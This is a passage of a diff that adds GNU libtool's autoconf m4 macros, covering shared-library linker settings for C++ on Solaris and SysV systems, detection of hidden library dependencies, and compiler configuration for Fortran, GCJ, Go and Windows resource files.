$1)=no + ;; + esac + ;; + + solaris*) + case $cc_basename in + CC* | sunCC*) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_TAGVAR(archive_cmds_need_lc,$1)=yes + _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs' + _LT_TAGVAR(archive_cmds, $1)='$CC -G$allow_undefined_flag -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -G$allow_undefined_flag $wl-M $wl$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' + + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; + *) + # The compiler driver will combine and reorder linker options, + # but understands '-z linker_flag'. + # Supported since Solaris 2.6 (maybe 2.5.1?) + _LT_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' + ;; + esac + _LT_TAGVAR(link_all_deplibs, $1)=yes + + output_verbose_link_cmd='func_echo_all' + + # Archives containing C++ object files must be created using + # "CC -xar", where "CC" is the Sun C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' + ;; + gcx*) + # Green Hills C++ Compiler + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-h $wl$soname -o $lib' + + # The C++ compiler must be used to create the archive. + _LT_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs' + ;; + *) + # GNU C++ compiler with Solaris linker + if test yes,no = "$GXX,$with_gnu_ld"; then + _LT_TAGVAR(no_undefined_flag, $1)=' $wl-z ${wl}defs' + if $CC --version | $GREP -v '^2\.7' > /dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-h $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -shared $pic_flag -nostdlib $wl-M $wl$lib.exp $wl-h $wl$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP -v "^Configured with:" | $GREP "\-L"' + else + # g++ 2.7 appears to require '-G' NOT '-shared' on this + # platform. + _LT_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $wl-h $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -G -nostdlib $wl-M $wl$lib.exp $wl-h $wl$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -G $CFLAGS -v conftest.$objext 2>&1 | $GREP -v "^Configured with:" | $GREP "\-L"' + fi + + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-R $wl$libdir' + case $host_os in + solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; + *) + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl-z ${wl}allextract$convenience $wl-z ${wl}defaultextract' + ;; + esac + fi + ;; + esac + ;; + + sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*) + _LT_TAGVAR(no_undefined_flag, $1)='$wl-z,text' + _LT_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var='LD_RUN_PATH' + + case $cc_basename in + CC*) + _LT_TAGVAR(archive_cmds, $1)='$CC -G $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + ;; + + sysv5* | sco3.2v5* | sco5v6*) + # Note: We CANNOT use -z defs as we might desire, because we do not + # link with -lc, and that would cause any symbols used from libc to + # always be unresolved, which means just about no library would + # ever link correctly. If we're not using GNU ld we use -z text + # though, which does catch some bad symbols but isn't as heavy-handed + # as -z defs. + _LT_TAGVAR(no_undefined_flag, $1)='$wl-z,text' + _LT_TAGVAR(allow_undefined_flag, $1)='$wl-z,nodefs' + _LT_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-R,$libdir' + _LT_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_TAGVAR(link_all_deplibs, $1)=yes + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-Bexport' + runpath_var='LD_RUN_PATH' + + case $cc_basename in + CC*) + _LT_TAGVAR(archive_cmds, $1)='$CC -G $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(old_archive_cmds, $1)='$CC -Tprelink_objects $oldobjs~ + '"$_LT_TAGVAR(old_archive_cmds, $1)" + _LT_TAGVAR(reload_cmds, $1)='$CC -Tprelink_objects $reload_objs~ + '"$_LT_TAGVAR(reload_cmds, $1)" + ;; + *) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + ;; + + tandem*) + case $cc_basename in + NCC*) + # NonStop-UX NCC 3.20 + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + + vxworks*) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + + *) + # FIXME: insert proper C++ library support + _LT_TAGVAR(ld_shlibs, $1)=no + ;; + esac + + AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)]) + test no = "$_LT_TAGVAR(ld_shlibs, $1)" && can_build_shared=no + + _LT_TAGVAR(GCC, $1)=$GXX + _LT_TAGVAR(LD, $1)=$LD + + ## CAVEAT EMPTOR: + ## There is no encapsulation within the following macros, do not change + ## the running order or otherwise move them around unless you know exactly + ## what you are doing... + _LT_SYS_HIDDEN_LIBDEPS($1) + _LT_COMPILER_PIC($1) + _LT_COMPILER_C_O($1) + _LT_COMPILER_FILE_LOCKS($1) + _LT_LINKER_SHLIBS($1) + _LT_SYS_DYNAMIC_LINKER($1) + _LT_LINKER_HARDCODE_LIBPATH($1) + + _LT_CONFIG($1) + fi # test -n "$compiler" + + CC=$lt_save_CC + CFLAGS=$lt_save_CFLAGS + LDCXX=$LD + LD=$lt_save_LD + GCC=$lt_save_GCC + with_gnu_ld=$lt_save_with_gnu_ld + lt_cv_path_LDCXX=$lt_cv_path_LD + lt_cv_path_LD=$lt_save_path_LD + lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld + lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld +fi # test yes != "$_lt_caught_CXX_error" + +AC_LANG_POP +])# _LT_LANG_CXX_CONFIG + + +# _LT_FUNC_STRIPNAME_CNF +# ---------------------- +# func_stripname_cnf prefix suffix name +# strip PREFIX and SUFFIX off of NAME. +# PREFIX and SUFFIX must not contain globbing or regex special +# characters, hashes, percent signs, but SUFFIX may contain a leading +# dot (in which case that matches only a dot). +# +# This function is identical to the (non-XSI) version of func_stripname, +# except this one can be used by m4 code that may be executed by configure, +# rather than the libtool script. +m4_defun([_LT_FUNC_STRIPNAME_CNF],[dnl +AC_REQUIRE([_LT_DECL_SED]) +AC_REQUIRE([_LT_PROG_ECHO_BACKSLASH]) +func_stripname_cnf () +{ + case @S|@2 in + .*) func_stripname_result=`$ECHO "@S|@3" | $SED "s%^@S|@1%%; s%\\\\@S|@2\$%%"`;; + *) func_stripname_result=`$ECHO "@S|@3" | $SED "s%^@S|@1%%; s%@S|@2\$%%"`;; + esac +} # func_stripname_cnf +])# _LT_FUNC_STRIPNAME_CNF + + +# _LT_SYS_HIDDEN_LIBDEPS([TAGNAME]) +# --------------------------------- +# Figure out "hidden" library dependencies from verbose +# compiler output when linking a shared library. +# Parse the compiler output and extract the necessary +# objects, libraries and library flags. +m4_defun([_LT_SYS_HIDDEN_LIBDEPS], +[m4_require([_LT_FILEUTILS_DEFAULTS])dnl +AC_REQUIRE([_LT_FUNC_STRIPNAME_CNF])dnl +# Dependencies to place before and after the object being linked: +_LT_TAGVAR(predep_objects, $1)= +_LT_TAGVAR(postdep_objects, $1)= +_LT_TAGVAR(predeps, $1)= +_LT_TAGVAR(postdeps, $1)= +_LT_TAGVAR(compiler_lib_search_path, $1)= + +dnl we can't use the lt_simple_compile_test_code here, +dnl because it contains code intended for an executable, +dnl not a library. It's possible we should let each +dnl tag define a new lt_????_link_test_code variable, +dnl but it's only used here... +m4_if([$1], [], [cat > conftest.$ac_ext <<_LT_EOF +int a; +void foo (void) { a = 0; } +_LT_EOF +], [$1], [CXX], [cat > conftest.$ac_ext <<_LT_EOF +class Foo +{ +public: + Foo (void) { a = 0; } +private: + int a; +}; +_LT_EOF +], [$1], [F77], [cat > conftest.$ac_ext <<_LT_EOF + subroutine foo + implicit none + integer*4 a + a=0 + return + end +_LT_EOF +], [$1], [FC], [cat > conftest.$ac_ext <<_LT_EOF + subroutine foo + implicit none + integer a + a=0 + return + end +_LT_EOF +], [$1], [GCJ], [cat > conftest.$ac_ext <<_LT_EOF +public class foo { + private int a; + public void bar (void) { + a = 0; + } +}; +_LT_EOF +], [$1], [GO], [cat > conftest.$ac_ext <<_LT_EOF +package foo +func foo() { +} +_LT_EOF +]) + +_lt_libdeps_save_CFLAGS=$CFLAGS +case "$CC $CFLAGS " in #( +*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;; +*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;; +*\ -fuse-linker-plugin*\ *) CFLAGS="$CFLAGS -fno-use-linker-plugin" ;; +esac + +dnl Parse the compiler output and extract the necessary +dnl objects, libraries and library flags. +if AC_TRY_EVAL(ac_compile); then + # Parse the compiler output and extract the necessary + # objects, libraries and library flags. + + # Sentinel used to keep track of whether or not we are before + # the conftest object file. + pre_test_object_deps_done=no + + for p in `eval "$output_verbose_link_cmd"`; do + case $prev$p in + + -L* | -R* | -l*) + # Some compilers place space between "-{L,R}" and the path. + # Remove the space. + if test x-L = "$p" || + test x-R = "$p"; then + prev=$p + continue + fi + + # Expand the sysroot to ease extracting the directories later. + if test -z "$prev"; then + case $p in + -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;; + -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;; + -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;; + esac + fi + case $p in + =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;; + esac + if test no = "$pre_test_object_deps_done"; then + case $prev in + -L | -R) + # Internal compiler library paths should come after those + # provided the user. The postdeps already come after the + # user supplied libs so there is no need to process them. + if test -z "$_LT_TAGVAR(compiler_lib_search_path, $1)"; then + _LT_TAGVAR(compiler_lib_search_path, $1)=$prev$p + else + _LT_TAGVAR(compiler_lib_search_path, $1)="${_LT_TAGVAR(compiler_lib_search_path, $1)} $prev$p" + fi + ;; + # The "-l" case would never come before the object being + # linked, so don't bother handling this case. + esac + else + if test -z "$_LT_TAGVAR(postdeps, $1)"; then + _LT_TAGVAR(postdeps, $1)=$prev$p + else + _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} $prev$p" + fi + fi + prev= + ;; + + *.lto.$objext) ;; # Ignore GCC LTO objects + *.$objext) + # This assumes that the test object file only shows up + # once in the compiler output. + if test "$p" = "conftest.$objext"; then + pre_test_object_deps_done=yes + continue + fi + + if test no = "$pre_test_object_deps_done"; then + if test -z "$_LT_TAGVAR(predep_objects, $1)"; then + _LT_TAGVAR(predep_objects, $1)=$p + else + _LT_TAGVAR(predep_objects, $1)="$_LT_TAGVAR(predep_objects, $1) $p" + fi + else + if test -z "$_LT_TAGVAR(postdep_objects, $1)"; then + _LT_TAGVAR(postdep_objects, $1)=$p + else + _LT_TAGVAR(postdep_objects, $1)="$_LT_TAGVAR(postdep_objects, $1) $p" + fi + fi + ;; + + *) ;; # Ignore the rest. + + esac + done + + # Clean up. + rm -f a.out a.exe +else + echo "libtool.m4: error: problem compiling $1 test program" +fi + +$RM -f confest.$objext +CFLAGS=$_lt_libdeps_save_CFLAGS + +# PORTME: override above test on systems where it is broken +m4_if([$1], [CXX], +[case $host_os in +interix[[3-9]]*) + # Interix 3.5 installs completely hosed .la files for C++, so rather than + # hack all around it, let's just trust "g++" to DTRT. + _LT_TAGVAR(predep_objects,$1)= + _LT_TAGVAR(postdep_objects,$1)= + _LT_TAGVAR(postdeps,$1)= + ;; +esac +]) + +case " $_LT_TAGVAR(postdeps, $1) " in +*" -lc "*) _LT_TAGVAR(archive_cmds_need_lc, $1)=no ;; +esac + _LT_TAGVAR(compiler_lib_search_dirs, $1)= +if test -n "${_LT_TAGVAR(compiler_lib_search_path, $1)}"; then + _LT_TAGVAR(compiler_lib_search_dirs, $1)=`echo " ${_LT_TAGVAR(compiler_lib_search_path, $1)}" | $SED -e 's! -L! !g' -e 's!^ !!'` +fi +_LT_TAGDECL([], [compiler_lib_search_dirs], [1], + [The directories searched by this compiler when creating a shared library]) +_LT_TAGDECL([], [predep_objects], [1], + [Dependencies to place before and after the objects being linked to + create a shared library]) +_LT_TAGDECL([], [postdep_objects], [1]) +_LT_TAGDECL([], [predeps], [1]) +_LT_TAGDECL([], [postdeps], [1]) +_LT_TAGDECL([], [compiler_lib_search_path], [1], + [The library search path used internally by the compiler when linking + a shared library]) +])# _LT_SYS_HIDDEN_LIBDEPS + + +# _LT_LANG_F77_CONFIG([TAG]) +# -------------------------- +# Ensure that the configuration variables for a Fortran 77 compiler are +# suitably defined. These variables are subsequently used by _LT_CONFIG +# to write the compiler configuration to 'libtool'. +m4_defun([_LT_LANG_F77_CONFIG], +[AC_LANG_PUSH(Fortran 77) +if test -z "$F77" || test no = "$F77"; then + _lt_disable_F77=yes +fi + +_LT_TAGVAR(archive_cmds_need_lc, $1)=no +_LT_TAGVAR(allow_undefined_flag, $1)= +_LT_TAGVAR(always_export_symbols, $1)=no +_LT_TAGVAR(archive_expsym_cmds, $1)= +_LT_TAGVAR(export_dynamic_flag_spec, $1)= +_LT_TAGVAR(hardcode_direct, $1)=no +_LT_TAGVAR(hardcode_direct_absolute, $1)=no +_LT_TAGVAR(hardcode_libdir_flag_spec, $1)= +_LT_TAGVAR(hardcode_libdir_separator, $1)= +_LT_TAGVAR(hardcode_minus_L, $1)=no +_LT_TAGVAR(hardcode_automatic, $1)=no +_LT_TAGVAR(inherit_rpath, $1)=no +_LT_TAGVAR(module_cmds, $1)= +_LT_TAGVAR(module_expsym_cmds, $1)= +_LT_TAGVAR(link_all_deplibs, $1)=unknown +_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_TAGVAR(reload_flag, $1)=$reload_flag +_LT_TAGVAR(reload_cmds, $1)=$reload_cmds +_LT_TAGVAR(no_undefined_flag, $1)= +_LT_TAGVAR(whole_archive_flag_spec, $1)= +_LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no + +# Source file extension for f77 test sources. +ac_ext=f + +# Object file extension for compiled f77 test sources. +objext=o +_LT_TAGVAR(objext, $1)=$objext + +# No sense in running all these tests if we already determined that +# the F77 compiler isn't working. Some variables (like enable_shared) +# are currently assumed to apply to all compilers on this platform, +# and will be corrupted by setting them based on a non-working compiler. +if test yes != "$_lt_disable_F77"; then + # Code to be used in simple compile tests + lt_simple_compile_test_code="\ + subroutine t + return + end +" + + # Code to be used in simple link tests + lt_simple_link_test_code="\ + program t + end +" + + # ltmain only uses $CC for tagged configurations so make sure $CC is set. + _LT_TAG_COMPILER + + # save warnings/boilerplate of simple test code + _LT_COMPILER_BOILERPLATE + _LT_LINKER_BOILERPLATE + + # Allow CC to be a program name with arguments. + lt_save_CC=$CC + lt_save_GCC=$GCC + lt_save_CFLAGS=$CFLAGS + CC=${F77-"f77"} + CFLAGS=$FFLAGS + compiler=$CC + _LT_TAGVAR(compiler, $1)=$CC + _LT_CC_BASENAME([$compiler]) + GCC=$G77 + if test -n "$compiler"; then + AC_MSG_CHECKING([if libtool supports shared libraries]) + AC_MSG_RESULT([$can_build_shared]) + + AC_MSG_CHECKING([whether to build shared libraries]) + test no = "$can_build_shared" && enable_shared=no + + # On AIX, shared libraries and static libraries use the same namespace, and + # are all built from PIC. + case $host_os in + aix3*) + test yes = "$enable_shared" && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + aix[[4-9]]*) + if test ia64 != "$host_cpu"; then + case $enable_shared,$with_aix_soname,$aix_use_runtimelinking in + yes,aix,yes) ;; # shared object as lib.so file only + yes,svr4,*) ;; # shared object as lib.so archive member only + yes,*) enable_static=no ;; # shared object in lib.a archive as well + esac + fi + ;; + esac + AC_MSG_RESULT([$enable_shared]) + + AC_MSG_CHECKING([whether to build static libraries]) + # Make sure either enable_shared or enable_static is yes. + test yes = "$enable_shared" || enable_static=yes + AC_MSG_RESULT([$enable_static]) + + _LT_TAGVAR(GCC, $1)=$G77 + _LT_TAGVAR(LD, $1)=$LD + + ## CAVEAT EMPTOR: + ## There is no encapsulation within the following macros, do not change + ## the running order or otherwise move them around unless you know exactly + ## what you are doing... + _LT_COMPILER_PIC($1) + _LT_COMPILER_C_O($1) + _LT_COMPILER_FILE_LOCKS($1) + _LT_LINKER_SHLIBS($1) + _LT_SYS_DYNAMIC_LINKER($1) + _LT_LINKER_HARDCODE_LIBPATH($1) + + _LT_CONFIG($1) + fi # test -n "$compiler" + + GCC=$lt_save_GCC + CC=$lt_save_CC + CFLAGS=$lt_save_CFLAGS +fi # test yes != "$_lt_disable_F77" + +AC_LANG_POP +])# _LT_LANG_F77_CONFIG + + +# _LT_LANG_FC_CONFIG([TAG]) +# ------------------------- +# Ensure that the configuration variables for a Fortran compiler are +# suitably defined. These variables are subsequently used by _LT_CONFIG +# to write the compiler configuration to 'libtool'. +m4_defun([_LT_LANG_FC_CONFIG], +[AC_LANG_PUSH(Fortran) + +if test -z "$FC" || test no = "$FC"; then + _lt_disable_FC=yes +fi + +_LT_TAGVAR(archive_cmds_need_lc, $1)=no +_LT_TAGVAR(allow_undefined_flag, $1)= +_LT_TAGVAR(always_export_symbols, $1)=no +_LT_TAGVAR(archive_expsym_cmds, $1)= +_LT_TAGVAR(export_dynamic_flag_spec, $1)= +_LT_TAGVAR(hardcode_direct, $1)=no +_LT_TAGVAR(hardcode_direct_absolute, $1)=no +_LT_TAGVAR(hardcode_libdir_flag_spec, $1)= +_LT_TAGVAR(hardcode_libdir_separator, $1)= +_LT_TAGVAR(hardcode_minus_L, $1)=no +_LT_TAGVAR(hardcode_automatic, $1)=no +_LT_TAGVAR(inherit_rpath, $1)=no +_LT_TAGVAR(module_cmds, $1)= +_LT_TAGVAR(module_expsym_cmds, $1)= +_LT_TAGVAR(link_all_deplibs, $1)=unknown +_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_TAGVAR(reload_flag, $1)=$reload_flag +_LT_TAGVAR(reload_cmds, $1)=$reload_cmds +_LT_TAGVAR(no_undefined_flag, $1)= +_LT_TAGVAR(whole_archive_flag_spec, $1)= +_LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no + +# Source file extension for fc test sources. +ac_ext=${ac_fc_srcext-f} + +# Object file extension for compiled fc test sources. +objext=o +_LT_TAGVAR(objext, $1)=$objext + +# No sense in running all these tests if we already determined that +# the FC compiler isn't working. Some variables (like enable_shared) +# are currently assumed to apply to all compilers on this platform, +# and will be corrupted by setting them based on a non-working compiler. +if test yes != "$_lt_disable_FC"; then + # Code to be used in simple compile tests + lt_simple_compile_test_code="\ + subroutine t + return + end +" + + # Code to be used in simple link tests + lt_simple_link_test_code="\ + program t + end +" + + # ltmain only uses $CC for tagged configurations so make sure $CC is set. + _LT_TAG_COMPILER + + # save warnings/boilerplate of simple test code + _LT_COMPILER_BOILERPLATE + _LT_LINKER_BOILERPLATE + + # Allow CC to be a program name with arguments. + lt_save_CC=$CC + lt_save_GCC=$GCC + lt_save_CFLAGS=$CFLAGS + CC=${FC-"f95"} + CFLAGS=$FCFLAGS + compiler=$CC + GCC=$ac_cv_fc_compiler_gnu + + _LT_TAGVAR(compiler, $1)=$CC + _LT_CC_BASENAME([$compiler]) + + if test -n "$compiler"; then + AC_MSG_CHECKING([if libtool supports shared libraries]) + AC_MSG_RESULT([$can_build_shared]) + + AC_MSG_CHECKING([whether to build shared libraries]) + test no = "$can_build_shared" && enable_shared=no + + # On AIX, shared libraries and static libraries use the same namespace, and + # are all built from PIC. + case $host_os in + aix3*) + test yes = "$enable_shared" && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + aix[[4-9]]*) + if test ia64 != "$host_cpu"; then + case $enable_shared,$with_aix_soname,$aix_use_runtimelinking in + yes,aix,yes) ;; # shared object as lib.so file only + yes,svr4,*) ;; # shared object as lib.so archive member only + yes,*) enable_static=no ;; # shared object in lib.a archive as well + esac + fi + ;; + esac + AC_MSG_RESULT([$enable_shared]) + + AC_MSG_CHECKING([whether to build static libraries]) + # Make sure either enable_shared or enable_static is yes. + test yes = "$enable_shared" || enable_static=yes + AC_MSG_RESULT([$enable_static]) + + _LT_TAGVAR(GCC, $1)=$ac_cv_fc_compiler_gnu + _LT_TAGVAR(LD, $1)=$LD + + ## CAVEAT EMPTOR: + ## There is no encapsulation within the following macros, do not change + ## the running order or otherwise move them around unless you know exactly + ## what you are doing... + _LT_SYS_HIDDEN_LIBDEPS($1) + _LT_COMPILER_PIC($1) + _LT_COMPILER_C_O($1) + _LT_COMPILER_FILE_LOCKS($1) + _LT_LINKER_SHLIBS($1) + _LT_SYS_DYNAMIC_LINKER($1) + _LT_LINKER_HARDCODE_LIBPATH($1) + + _LT_CONFIG($1) + fi # test -n "$compiler" + + GCC=$lt_save_GCC + CC=$lt_save_CC + CFLAGS=$lt_save_CFLAGS +fi # test yes != "$_lt_disable_FC" + +AC_LANG_POP +])# _LT_LANG_FC_CONFIG + + +# _LT_LANG_GCJ_CONFIG([TAG]) +# -------------------------- +# Ensure that the configuration variables for the GNU Java Compiler compiler +# are suitably defined. These variables are subsequently used by _LT_CONFIG +# to write the compiler configuration to 'libtool'. +m4_defun([_LT_LANG_GCJ_CONFIG], +[AC_REQUIRE([LT_PROG_GCJ])dnl +AC_LANG_SAVE + +# Source file extension for Java test sources. +ac_ext=java + +# Object file extension for compiled Java test sources. +objext=o +_LT_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="class foo {}" + +# Code to be used in simple link tests +lt_simple_link_test_code='public class conftest { public static void main(String[[]] argv) {}; }' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_TAG_COMPILER + +# save warnings/boilerplate of simple test code +_LT_COMPILER_BOILERPLATE +_LT_LINKER_BOILERPLATE + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_CFLAGS=$CFLAGS +lt_save_GCC=$GCC +GCC=yes +CC=${GCJ-"gcj"} +CFLAGS=$GCJFLAGS +compiler=$CC +_LT_TAGVAR(compiler, $1)=$CC +_LT_TAGVAR(LD, $1)=$LD +_LT_CC_BASENAME([$compiler]) + +# GCJ did not exist at the time GCC didn't implicitly link libc in. +_LT_TAGVAR(archive_cmds_need_lc, $1)=no + +_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_TAGVAR(reload_flag, $1)=$reload_flag +_LT_TAGVAR(reload_cmds, $1)=$reload_cmds + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +if test -n "$compiler"; then + _LT_COMPILER_NO_RTTI($1) + _LT_COMPILER_PIC($1) + _LT_COMPILER_C_O($1) + _LT_COMPILER_FILE_LOCKS($1) + _LT_LINKER_SHLIBS($1) + _LT_LINKER_HARDCODE_LIBPATH($1) + + _LT_CONFIG($1) +fi + +AC_LANG_RESTORE + +GCC=$lt_save_GCC +CC=$lt_save_CC +CFLAGS=$lt_save_CFLAGS +])# _LT_LANG_GCJ_CONFIG + + +# _LT_LANG_GO_CONFIG([TAG]) +# -------------------------- +# Ensure that the configuration variables for the GNU Go compiler +# are suitably defined. These variables are subsequently used by _LT_CONFIG +# to write the compiler configuration to 'libtool'. +m4_defun([_LT_LANG_GO_CONFIG], +[AC_REQUIRE([LT_PROG_GO])dnl +AC_LANG_SAVE + +# Source file extension for Go test sources. +ac_ext=go + +# Object file extension for compiled Go test sources. +objext=o +_LT_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="package main; func main() { }" + +# Code to be used in simple link tests +lt_simple_link_test_code='package main; func main() { }' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_TAG_COMPILER + +# save warnings/boilerplate of simple test code +_LT_COMPILER_BOILERPLATE +_LT_LINKER_BOILERPLATE + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_CFLAGS=$CFLAGS +lt_save_GCC=$GCC +GCC=yes +CC=${GOC-"gccgo"} +CFLAGS=$GOFLAGS +compiler=$CC +_LT_TAGVAR(compiler, $1)=$CC +_LT_TAGVAR(LD, $1)=$LD +_LT_CC_BASENAME([$compiler]) + +# Go did not exist at the time GCC didn't implicitly link libc in. +_LT_TAGVAR(archive_cmds_need_lc, $1)=no + +_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_TAGVAR(reload_flag, $1)=$reload_flag +_LT_TAGVAR(reload_cmds, $1)=$reload_cmds + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +if test -n "$compiler"; then + _LT_COMPILER_NO_RTTI($1) + _LT_COMPILER_PIC($1) + _LT_COMPILER_C_O($1) + _LT_COMPILER_FILE_LOCKS($1) + _LT_LINKER_SHLIBS($1) + _LT_LINKER_HARDCODE_LIBPATH($1) + + _LT_CONFIG($1) +fi + +AC_LANG_RESTORE + +GCC=$lt_save_GCC +CC=$lt_save_CC +CFLAGS=$lt_save_CFLAGS +])# _LT_LANG_GO_CONFIG + + +# _LT_LANG_RC_CONFIG([TAG]) +# ------------------------- +# Ensure that the configuration variables for the Windows resource compiler +# are suitably defined. These variables are subsequently used by _LT_CONFIG +# to write the compiler configuration to 'libtool'. +m4_defun([_LT_LANG_RC_CONFIG], +[AC_REQUIRE([LT_PROG_RC])dnl +AC_LANG_SAVE + +# Source file extension for RC test sources. +ac_ext=rc + +# Object file extension for compiled RC test sources. +objext=o +_LT_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }' + +# Code to be used in simple link tests +lt_simple_link_test_code=$lt_simple_compile_test_code + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_TAG_COMPILER + +# save warnings/boilerplate of simple test code +_LT_COMPILER_BOILERPLATE +_LT_LINKER_BOILERPLATE + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_CFLAGS=$CFLAGS +lt_save_GCC=$GCC +GCC= +CC=${RC-"windres"} +CFLAGS= +compiler=$CC +_LT_TAGVAR(compiler, $1)=$CC +_LT_CC_BASENAME([$compiler]) +_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes + +if test -n "$compiler"; then + : + _LT_CONFIG($1) +fi + +GCC=$lt_save_GCC +AC_LANG_RESTORE +CC=$lt_save_CC +CFLAGS=$lt_save_CFLAGS +])# _LT_LANG_RC_CONFIG + + +# LT_PROG_GCJ +# ----------- +AC_DEFUN([LT_PROG_GCJ], +[m4_ifdef([AC_PROG_GCJ], [AC_PROG_GCJ], + [m4_ifdef([A][M_PROG_GCJ], [A][M_PROG_GCJ], + 